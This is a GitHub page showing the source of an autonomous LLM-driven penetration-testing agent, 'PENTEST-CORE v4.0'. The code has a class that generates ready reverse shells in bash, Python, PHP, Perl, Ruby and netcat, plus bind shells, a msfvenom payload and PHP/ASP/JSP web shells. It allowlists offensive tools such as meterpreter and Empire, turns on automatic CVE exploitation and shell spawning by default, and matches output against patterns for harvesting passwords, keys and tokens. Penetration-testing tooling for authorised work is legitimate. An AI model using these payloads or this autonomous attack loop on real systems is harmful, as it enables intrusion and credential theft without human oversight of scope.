-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
2045 lines (1753 loc) · 66.9 KB
/
Copy pathmain.py
File metadata and controls
2045 lines (1753 loc) · 66.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
PENTEST-CORE v4.0 - Agente de Penetration Testing Autonomo
Pentester automatico con IA + Ollama
"""
import json
import re
import subprocess
import os
import requests
import sys
import time
import threading
import select
import importlib
import sqlite3
import argparse
import shutil
import hashlib
from pathlib import Path
from datetime import datetime, timedelta
from typing import Optional, Callable, Any
from dataclasses import dataclass, field, asdict
from enum import Enum
from concurrent.futures import ThreadPoolExecutor, as_completed
from collections import defaultdict
from queue import Queue
from urllib.parse import urlparse
BASE_DIR = Path(__file__).parent.resolve()
CHECKPOINT_DIR = BASE_DIR / "checkpoints"
LOGS_DIR = BASE_DIR / "logs"
PROMPTS_FILE = BASE_DIR / "prompts.json"
DB_FILE = BASE_DIR / "vibe_hacker.db"
PLUGINS_DIR = BASE_DIR / "plugins"
REPORTS_DIR = BASE_DIR / "reports"
CONFIG_FILE = Path.home() / ".vibehackerrc"
METRICS_FILE = BASE_DIR / "metrics.jsonl"
TODO_FILE = BASE_DIR / "todo.txt"
OLLAMA_URL = "http://localhost:11434/api/chat"
MODEL = "qwen2.5-coder:7b"
VIBE_STATUS_FILE = "/tmp/vibe_status"
TIMEOUT_DEFAULT = 300
TIMEOUT_NMAP = 600
TIMEOUT_ENUM = 120
TIMEOUT_NUCLEI = 900
TIMEOUT_SQLMAP = 900
TIMEOUT_MSF = 1200
COMMAND_ALLOWLIST = {
"nmap",
"gobuster",
"dirb",
"ffuf",
"nikto",
"sqlmap",
"hydra",
"curl",
"wget",
"nc",
"netcat",
"ssh",
"ftp",
"smbclient",
"enum4linux",
"smbmap",
"searchsploit",
"msfconsole",
"msfvenom",
"john",
"hashcat",
"steghide",
"binwalk",
"exiftool",
"foremost",
"zip2john",
"unzip",
"tar",
"grep",
"cat",
"head",
"tail",
"less",
"ls",
"cd",
"pwd",
"find",
"chmod",
"python3",
"python",
"php",
"ruby",
"perl",
"bash",
"sh",
"echo",
"ps",
"kill",
"pkill",
"systemctl",
"service",
"netstat",
"ss",
"ifconfig",
"ip",
"id",
"whoami",
"hostname",
"uname",
"arch",
"sudo",
"su",
"mkdir",
"rm",
"cp",
"mv",
"touch",
"file",
"strings",
"hexdump",
"xxd",
"base64",
"ncat",
"socat",
"tcpdump",
"wireshark",
"tshark",
"ping",
"traceroute",
"nslookup",
"dig",
"host",
"whatweb",
"wappalyzer",
"nuclei",
"dirbuster",
"xsstrike",
"dalfox",
"sqlmap",
"ldapsearch",
"snmpwalk",
"rdpsec",
"xfreerdp",
"rdesktop",
"linpeas",
"linenum",
"pspy",
"pspy64",
"linux-smart-enumeration",
"lse",
"peass",
"peass-ng",
"unix-privesc-check",
"commix",
"wpscan",
"joomscan",
"droopescan",
"gitdump",
"gitdumper",
"svn",
"svndumper",
"渗透",
"weevely",
"meterpreter",
"msfpc",
"empire",
"covenant",
"nmap-script",
"nse",
}
DANGEROUS_PATTERNS = [
r"rm\s+-rf\s+/",
r":\(\)\{",
r"forkbomb",
r"curl.*\|.*sh",
r"wget.*\|.*sh",
r">.*/etc/passwd",
r"mv\s+.*/etc/shadow",
]
COMMAND_BLACKLIST = ["shutdown", "reboot", "init", "mkfs", ":(){"]
FLAG_PATTERNS = [
r"flag\{[^}]+\}",
r"ctf\{[^}]+\}",
r"[a-f0-9]{32}",
r"[A-F0-9]{32}",
r"password[s]?\s*[=:]\s*\S+",
r"api[_-]?key\s*[=:]\s*\S+",
r"secret[s]?\s*[=:]\s*\S+",
r"token\s*[=:]\s*[A-Za-z0-9_-]+",
]
CVE_PATTERN = r"CVE-\d{4}-\d{4,}"
CHECKPOINT_DIR.mkdir(exist_ok=True)
LOGS_DIR.mkdir(exist_ok=True)
PLUGINS_DIR.mkdir(exist_ok=True)
REPORTS_DIR.mkdir(exist_ok=True)
class Colors:
HEADER = "\033[95m"
BLUE = "\033[94m"
CYAN = "\033[96m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
RED = "\033[91m"
MAGENTA = "\033[35m"
BOLD = "\033[1m"
DIM = "\033[2m"
RESET = "\033[0m"
_enabled: bool = True
@classmethod
def disable(cls):
cls._enabled = False
for attr in dir(cls):
if attr.startswith("_") or attr in ("disable", "enable"):
continue
setattr(cls, attr, "")
@classmethod
def enable(cls):
cls._enabled = True
cls.HEADER = "\033[95m"
cls.BLUE = "\033[94m"
cls.CYAN = "\033[96m"
cls.GREEN = "\033[92m"
cls.YELLOW = "\033[93m"
cls.RED = "\033[91m"
cls.MAGENTA = "\033[35m"
cls.BOLD = "\033[1m"
cls.DIM = "\033[2m"
cls.RESET = "\033[0m"
def cprint(text: str, color: str = "", bold: bool = False, end: str = "\n") -> None:
if not Colors._enabled:
print(text, end=end)
return
prefix = color + (Colors.BOLD if bold else "")
print(f"{prefix}{text}{Colors.RESET}", end=end)
class Config:
_instance = None
_config = {}
def __new__(cls):
if cls._instance is None:
cls._instance = super().__new__(cls)
cls._instance._load_config()
return cls._instance
def _load_config(self):
if CONFIG_FILE.exists():
try:
with open(CONFIG_FILE, "r") as f:
self._config = json.load(f)
except Exception:
self._config = self._default_config()
else:
self._config = self._default_config()
def _default_config(self) -> dict:
return {
"ollama_url": "http://localhost:11434/api/chat",
"model": "qwen2.5-coder:7b",
"auto_exploit_cve": True,
"auto_shell": True,
"aggressive_mode": True,
"parallel_jobs": 3,
}
def get(self, key: str, default: Any = None) -> Any:
return self._config.get(key, default)
def set(self, key: str, value: Any) -> None:
self._config[key] = value
self.save()
def save(self) -> None:
try:
with open(CONFIG_FILE, "w") as f:
json.dump(self._config, f, indent=2)
except Exception:
pass
config = Config()
class Database:
def __init__(self, db_path: Path = DB_FILE):
self.db_path = db_path
self.conn = sqlite3.connect(str(db_path), check_same_thread=False)
self.conn.row_factory = sqlite3.Row
self._init_db()
def _init_db(self):
self.conn.executescript("""
CREATE TABLE IF NOT EXISTS sessions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
target_ip TEXT NOT NULL,
started_at TEXT NOT NULL,
finished_at TEXT,
status TEXT DEFAULT 'running',
commands INTEGER DEFAULT 0,
findings TEXT DEFAULT '',
flags TEXT DEFAULT '',
cves TEXT DEFAULT '[]',
duration INTEGER DEFAULT 0,
phase_timings TEXT DEFAULT '{}'
);
CREATE TABLE IF NOT EXISTS commands (
id INTEGER PRIMARY KEY AUTOINCREMENT,
session_id INTEGER NOT NULL,
timestamp TEXT NOT NULL,
command TEXT NOT NULL,
output TEXT DEFAULT '',
vibe TEXT DEFAULT '',
duration INTEGER DEFAULT 0,
exit_code INTEGER DEFAULT 0,
FOREIGN KEY (session_id) REFERENCES sessions(id)
);
CREATE TABLE IF NOT EXISTS cves (
id INTEGER PRIMARY KEY AUTOINCREMENT,
session_id INTEGER NOT NULL,
cve_id TEXT NOT NULL,
service TEXT DEFAULT '',
severity TEXT DEFAULT '',
description TEXT DEFAULT '',
exploited INTEGER DEFAULT 0,
FOREIGN KEY (session_id) REFERENCES sessions(id)
);
CREATE TABLE IF NOT EXISTS metrics (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp TEXT NOT NULL,
event_type TEXT NOT NULL,
session_id INTEGER,
data TEXT DEFAULT '{}'
);
CREATE INDEX IF NOT EXISTS idx_session_ip ON sessions(target_ip);
CREATE INDEX IF NOT EXISTS idx_command_session ON commands(session_id);
CREATE INDEX IF NOT EXISTS idx_cves_session ON cves(session_id);
CREATE INDEX IF NOT EXISTS idx_metrics_session ON metrics(session_id);
CREATE TABLE IF NOT EXISTS lessons (
id INTEGER PRIMARY KEY AUTOINCREMENT,
command_pattern TEXT NOT NULL,
success INTEGER NOT NULL,
note TEXT DEFAULT '',
count INTEGER DEFAULT 1,
last_used TEXT NOT NULL
);
CREATE INDEX IF NOT EXISTS idx_lessons_pattern ON lessons(command_pattern);
""")
self.conn.commit()
def create_session(self, target_ip: str) -> Optional[int]:
cursor = self.conn.cursor()
cursor.execute(
"INSERT INTO sessions (target_ip, started_at) VALUES (?, ?)",
(target_ip, datetime.now().isoformat()),
)
self.conn.commit()
return cursor.lastrowid
def update_session(self, session_id: int, **kwargs):
fields = ", ".join(f"{k} = ?" for k in kwargs.keys())
values = list(kwargs.values()) + [session_id]
self.conn.execute(f"UPDATE sessions SET {fields} WHERE id = ?", values)
self.conn.commit()
def log_command(
self,
session_id: int,
command: str,
output: str,
vibe: str,
duration: int = 0,
exit_code: int = 0,
):
self.conn.execute(
"INSERT INTO commands (session_id, timestamp, command, output, vibe, duration, exit_code) VALUES (?, ?, ?, ?, ?, ?, ?)",
(
session_id,
datetime.now().isoformat(),
command,
output,
vibe,
duration,
exit_code,
),
)
self.conn.execute(
"UPDATE sessions SET commands = commands + 1 WHERE id = ?", (session_id,)
)
self.conn.commit()
def log_cve(
self,
session_id: int,
cve_id: str,
service: str = "",
severity: str = "",
description: str = "",
):
self.conn.execute(
"INSERT INTO cves (session_id, cve_id, service, severity, description) VALUES (?, ?, ?, ?, ?)",
(session_id, cve_id, service, severity, description),
)
cves = self.conn.execute(
"SELECT cves FROM sessions WHERE id = ?", (session_id,)
).fetchone()
if cves and cves[0]:
current_cves = json.loads(cves[0])
else:
current_cves = []
current_cves.append(cve_id)
self.conn.execute(
"UPDATE sessions SET cves = ? WHERE id = ?",
(json.dumps(current_cves), session_id),
)
self.conn.commit()
def mark_cve_exploited(self, cve_id: str, session_id: int):
self.conn.execute(
"UPDATE cves SET exploited = 1 WHERE session_id = ? AND cve_id = ?",
(session_id, cve_id),
)
self.conn.commit()
def get_cves(self, session_id: int) -> list:
cursor = self.conn.execute(
"SELECT * FROM cves WHERE session_id = ?", (session_id,)
)
return [dict(row) for row in cursor.fetchall()]
def log_metric(self, event_type: str, session_id: Optional[int] = None, **data):
self.conn.execute(
"INSERT INTO metrics (timestamp, event_type, session_id, data) VALUES (?, ?, ?, ?)",
(datetime.now().isoformat(), event_type, session_id, json.dumps(data)),
)
self.conn.commit()
def get_session(self, session_id: int) -> Optional[dict]:
cursor = self.conn.execute("SELECT * FROM sessions WHERE id = ?", (session_id,))
row = cursor.fetchone()
return dict(row) if row else None
def get_session_by_ip(self, target_ip: str) -> Optional[dict]:
cursor = self.conn.execute(
"SELECT * FROM sessions WHERE target_ip = ? AND status = 'running' ORDER BY id DESC LIMIT 1",
(target_ip,),
)
row = cursor.fetchone()
return dict(row) if row else None
def list_sessions(self, status: Optional[str] = None) -> list:
query = "SELECT * FROM sessions"
params = []
if status:
query += " WHERE status = ?"
params.append(status)
query += " ORDER BY id DESC"
cursor = self.conn.execute(query, params)
return [dict(row) for row in cursor.fetchall()]
def get_commands(self, session_id: int) -> list:
cursor = self.conn.execute(
"SELECT * FROM commands WHERE session_id = ? ORDER BY id", (session_id,)
)
return [dict(row) for row in cursor.fetchall()]
def get_metrics(self, session_id: Optional[int] = None) -> list:
query = "SELECT * FROM metrics"
params = []
if session_id:
query += " WHERE session_id = ?"
params.append(session_id)
query += " ORDER BY timestamp"
cursor = self.conn.execute(query, params)
return [dict(row) for row in cursor.fetchall()]
def get_all_ips(self) -> list:
cursor = self.conn.execute(
"SELECT DISTINCT target_ip FROM sessions ORDER BY started_at DESC"
)
return [row[0] for row in cursor.fetchall()]
def close(self):
self.conn.close()
class CVEAnalyzer:
@staticmethod
def extract_cves(text: str) -> list:
return list(set(re.findall(CVE_PATTERN, text, re.IGNORECASE)))
@staticmethod
def search_exploits(cve_id: str) -> str:
try:
result = subprocess.run(
["searchsploit", cve_id], capture_output=True, text=True, timeout=30
)
return result.stdout if result.stdout else result.stderr
except Exception as e:
return f"Error buscando exploits: {e}"
@staticmethod
def search_service_exploits(service: str, version: str = "") -> str:
query = f"{service} {version}".strip()
if not query:
return "Servicio no especificado"
try:
result = subprocess.run(
["searchsploit", query], capture_output=True, text=True, timeout=30
)
return result.stdout if result.stdout else result.stderr
except Exception as e:
return f"Error buscando exploits: {e}"
@staticmethod
def get_cve_details(cve_id: str) -> dict:
try:
url = f"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId={cve_id}"
resp = requests.get(url, timeout=10)
if resp.status_code == 200:
data = resp.json()
if data.get("vulnerabilities"):
vuln = data["vulnerabilities"][0]["cve"]
return {
"id": cve_id,
"description": vuln.get("descriptions", [{}])[0].get(
"value", ""
),
"severity": "Unknown",
"cvss": "N/A",
}
except Exception:
pass
return {"id": cve_id, "description": "", "severity": "Unknown", "cvss": "N/A"}
class ShellGenerator:
@staticmethod
def generate_reverse_shells(target_ip: str, port: int = 4444) -> dict:
shells = {
"bash": f"bash -i >& /dev/tcp/{target_ip}/{port} 0>&1",
"bash_2": f"0<&196;exec 196<>/dev/tcp/{target_ip}/{port};sh <&196 >&196 2>&196",
"python": f'python3 -c \'import socket,subprocess,os;s=socket.socket();s.connect(("{target_ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'',
"php": f'php -r \'$sock=fsockopen("{target_ip}",{port});exec("/bin/sh -i <&3 >&3 2>&3");\'',
"perl": f'perl -e \'use Socket;$i="{target_ip}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};\'',
"ruby": f'ruby -rsocket -e \'f=TCPSocket.open("{target_ip}",{port}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f);\'',
"nc": f"nc -e /bin/sh {target_ip} {port}",
"nc_mknod": f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {target_ip} {port} >/tmp/f",
"msf": f"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={target_ip} LPORT={port} -f elf > shell.elf",
}
return shells
@staticmethod
def generate_bind_shells(port: int = 4444) -> dict:
shells = {
"nc": f"nc -lvp {port} -e /bin/bash",
"python": f"python3 -c 'import socket,os,pty,sys;s=socket.socket();s.bind(('',{port}));s.listen(1);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);pty.spawn(\"/bin/bash\")'",
}
return shells
@staticmethod
def web_shells() -> dict:
return {
"php": "<?php system($_REQUEST['cmd']); ?>",
"asp": "<% eval request('cmd') %>",
"jsp": "<% Runtime.getRuntime().exec(request.getParameter('cmd')); %>",
}
class AdaptiveMemory:
"""
Sistema de memoria adaptativa que aprende de errores y successes.
"""
def __init__(self, db: "Database"):
self.db = db
self.session_failures = []
self.session_successes = []
self.failed_commands = set()
self.successful_patterns = defaultdict(int)
self.failed_patterns = defaultdict(int)
def log_failure(self, command: str, reason: str, output: str = ""):
"""Registra un comando que fallo."""
self.session_failures.append(
{
"command": command,
"reason": reason,
"output_preview": output[:200] if output else "",
"timestamp": datetime.now().isoformat(),
}
)
self.failed_commands.add(command)
pattern = self._extract_pattern(command)
self.failed_patterns[pattern] += 1
self._save_lesson(command, reason, success=False)
def log_success(self, command: str, finding: str = ""):
"""Registra un comando que funciono."""
self.session_successes.append(
{
"command": command,
"finding": finding,
"timestamp": datetime.now().isoformat(),
}
)
pattern = self._extract_pattern(command)
self.successful_patterns[pattern] += 1
self._save_lesson(command, finding, success=True)
def _extract_pattern(self, command: str) -> str:
"""Extrae el patron base de un comando (去掉 IPs, ports, etc)."""
import re
pattern = command.lower()
pattern = re.sub(r"\d+\.\d+\.\d+\.\d+", "TARGET", pattern)
pattern = re.sub(r"\d{1,5}", "PORT", pattern)
pattern = re.sub(r"http[s]?://[^\s]+", "URL", pattern)
pattern = re.sub(r"/[a-z0-9_.-]+", "/PATH", pattern)
pattern = re.sub(r" -[a-z0-9]+ ", " FLAGS ", pattern)
words = pattern.split()
return " ".join(words[:4])
def _save_lesson(self, command: str, note: str, success: bool):
"""Guarda la leccion en la base de datos."""
try:
self.db.conn.execute(
"""
INSERT OR REPLACE INTO lessons (command_pattern, success, note, count, last_used)
VALUES (?, ?, ?,
COALESCE((SELECT count FROM lessons WHERE command_pattern = ?), 0) + 1,
?)
""",
(
self._extract_pattern(command),
1 if success else 0,
note[:500],
self._extract_pattern(command),
datetime.now().isoformat(),
),
)
self.db.conn.commit()
except Exception:
pass
def get_context_for_prompt(self) -> str:
"""Genera contexto adaptativo para el prompt."""
context_parts = []
failed_patterns = []
for pattern, count in self.failed_patterns.items():
if count >= 1:
failed_patterns.append((pattern, count))
if failed_patterns:
context_parts.append("NO FUNCIONO ANTES (no repetir):")
for pattern, count in failed_patterns[:5]:
context_parts.append(f" - {pattern} (fallo {count} vez)")
successful_patterns = []
for pattern, count in self.successful_patterns.items():
if count >= 1:
successful_patterns.append((pattern, count))
if successful_patterns:
context_parts.append("\nSI FUNCIONO ANTES:")
for pattern, count in successful_patterns[:5]:
context_parts.append(f" - {pattern} (funciono {count} vez)")
try:
recent_lessons = self.db.conn.execute("""
SELECT command_pattern, success, note FROM lessons
ORDER BY last_used DESC LIMIT 10
""").fetchall()
if recent_lessons:
context_parts.append("\nLECCIONES APRENDIDAS:")
for lesson in recent_lessons:
status = "OK" if lesson[1] else "FAIL"
context_parts.append(f" [{status}] {lesson[0]}: {lesson[2][:50]}")
except Exception:
pass
if not context_parts:
return ""
return "\n".join(context_parts)
def get_postmortem(self) -> str:
"""Genera post-mortem al final de la sesion."""
if not self.session_failures and not self.session_successes:
return "Sin comandos ejecutados."
lines = ["=" * 50, "POST-MORTEM DE LA SESION", "=" * 50, ""]
if self.session_successes:
lines.append(f"SUCCESS ({len(self.session_successes)} comandos):")
for s in self.session_successes[:10]:
finding = s.get("finding", "")[:100]
lines.append(f" [OK] {s['command'][:60]} -> {finding}")
if self.session_failures:
lines.append(f"\nFAILURES ({len(self.session_failures)} comandos):")
for f in self.session_failures[:10]:
reason = f.get("reason", "")[:100]
lines.append(f" [FAIL] {f['command'][:60]}")
lines.append(f" Reason: {reason}")
lines.append("\n" + "=" * 50)
if self.successful_patterns:
top_success = sorted(self.successful_patterns.items(), key=lambda x: -x[1])[
:3
]
lines.append("TOP PATRONES EXITOSOS:")
for pattern, count in top_success:
lines.append(f" {pattern}: {count} veces")
if self.failed_patterns:
top_fail = sorted(self.failed_patterns.items(), key=lambda x: -x[1])[:3]
lines.append("\nPATRONES FALLIDOS:")
for pattern, count in top_fail:
lines.append(f" {pattern}: {count} veces")
lines.append("=" * 50)
return "\n".join(lines)
def should_skip_command(self, command: str) -> bool:
"""Check si un comando debe ser saltado basado en historial."""
return command in self.failed_commands
class NucleiScanner:
@staticmethod
def scan(target: str, severity: str = "critical,high,medium") -> str:
cmd = f"nuclei -u {target} -severity {severity} -silent -json -retries 2"
try:
result = subprocess.run(
cmd, shell=True, capture_output=True, text=True, timeout=900
)
return result.stdout if result.stdout else result.stderr
except subprocess.TimeoutExpired:
return "Nuclei scan timeout"
except Exception as e:
return f"Nuclei error: {e}"
@staticmethod
def scan_with_templates(target: str, templates: str) -> str:
cmd = f"nuclei -u {target} -t {templates} -silent"
try:
result = subprocess.run(
cmd, shell=True, capture_output=True, text=True, timeout=900
)
return result.stdout if result.stdout else result.stderr
except Exception as e:
return f"Nuclei error: {e}"
class WordlistManager:
def __init__(self):
self.common_wordlists = {
"web_common": "/usr/share/wordlists/dirb/common.txt",
"web_big": "/usr/share/wordlists/dirb/big.txt",
"dns": "/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt",
"passwords": "/usr/share/wordlists/rockyou.txt",
"usernames": "/usr/share/seclists/Usernames/top-usernames-shortlist.txt",
}
def get_available(self) -> dict:
available = {}
for name, path in self.common_wordlists.items():
if Path(path).exists():
available[name] = path
return available
def suggest_wordlist(self, target_type: str) -> Optional[str]:
if target_type == "web":
return self.common_wordlists.get("web_common")
elif target_type == "dns":
return self.common_wordlists.get("dns")
elif target_type == "password":
return self.common_wordlists.get("passwords")
return None
class MetricsCollector:
def __init__(self, db: Database, session_id: Optional[int] = None):
self.db = db
self.session_id = session_id
self._start_time = time.time()
self._phase_times = defaultdict(float)
self._current_phase = "init"
self._command_count = 0
self._flag_count = 0
self._cve_count = 0
self._error_count = 0
def set_phase(self, phase: str) -> None:
now = time.time()
if self._current_phase:
self._phase_times[self._current_phase] += now - self._start_time
self._current_phase = phase
self._start_time = now
def log_command(self, success: bool = True) -> None:
self._command_count += 1
if not success:
self._error_count += 1
self.db.log_metric(
"command_executed",
self.session_id,
success=success,
phase=self._current_phase,
)
def log_flag(self) -> None:
self._flag_count += 1
self.db.log_metric("flag_found", self.session_id)
def log_cve(self) -> None:
self._cve_count += 1
def get_summary(self) -> dict:
total_time = sum(self._phase_times.values())
return {
"total_time": total_time,
"phase_times": dict(self._phase_times),
"commands": self._command_count,
"errors": self._error_count,
"flags": self._flag_count,
"cves": self._cve_count,
"commands_per_minute": (self._command_count / total_time * 60)
if total_time > 0
else 0,
}
def save_to_db(self) -> None:
summary = self.get_summary()
if self.session_id:
self.db.update_session(
self.session_id,
duration=int(summary["total_time"]),
phase_timings=json.dumps(summary["phase_times"]),
)
class Telemetry:
@staticmethod
def log_jsonl(event: dict) -> None:
try:
with open(METRICS_FILE, "a") as f:
f.write(json.dumps(event) + "\n")
except Exception:
pass
@staticmethod
def log_command(
target: str,
command: str,
duration: float,
success: bool,
cve_found: bool = False,
):
Telemetry.log_jsonl(
{
"timestamp": datetime.now().isoformat(),
"type": "command",
"target": target,
"command": command[:100],
"duration": duration,
"success": success,
"cve_found": cve_found,
}
)
@staticmethod
def log_audit_start(target: str, session_id: int):
Telemetry.log_jsonl(
{
"timestamp": datetime.now().isoformat(),
"type": "audit_start",
"target": target,
"session_id": session_id,
}
)
@staticmethod
def log_audit_end(
target: str,
session_id: int,
flags: int,
cves: int,
duration: float,
status: str,
):
Telemetry.log_jsonl(
{
"timestamp": datetime.now().isoformat(),
"type": "audit_end",
"target": target,
"session_id": session_id,
"flags": flags,
"cves": cves,
"duration": duration,
"status": status,
}
)
class ReportGenerator:
def __init__(self, session: dict, commands: list[dict], cves: list[dict] = None):
self.session = session
self.commands = commands
self.cves = cves or []
def to_markdown(self) -> str:
md = f"""# Reporte de Pentesting - PENTEST-CORE v4.0
## Informacion General
| Campo | Valor |
|-------|-------|
| **IP Objetivo** | `{self.session["target_ip"]}` |
| **Fecha Inicio** | {self.session["started_at"]} |
| **Fecha Fin** | {self.session.get("finished_at", "En progreso")} |
| **Estado** | {self.session["status"]} |
| **Comandos Ejecutados** | {self.session["commands"]} |
| **CVEs Detectados** | {len(self.cves)} |
| **Duracion** | {self.session.get("duration", 0)}s |
## Flags Encontradas
```
{self.session.get("flags", "Ninguna")}
```
## CVEs Detectados
"""
for cve in self.cves:
md += f"- **{cve['cve_id']}** ({cve['severity']}) - {cve['service']}\n"
if cve["description"]:
md += f" - {cve['description'][:200]}...\n"
if cve["exploited"]:
md += f" - [EXPLOTADO]\n"
md += """
## Hallazgos
```
"""
md += self.session.get("findings", "Sin hallazgos registrados")
md += """
```
## Historial de Comandos
"""
for cmd in self.commands:
md += f"""### [{cmd["timestamp"]}] {cmd["vibe"]}
**Comando:**
```bash
{cmd["command"]}
```
**Salida:**
```
{cmd["output"][:1000]}{"..." if len(cmd["output"]) > 1000 else ""}
```
---
"""
return md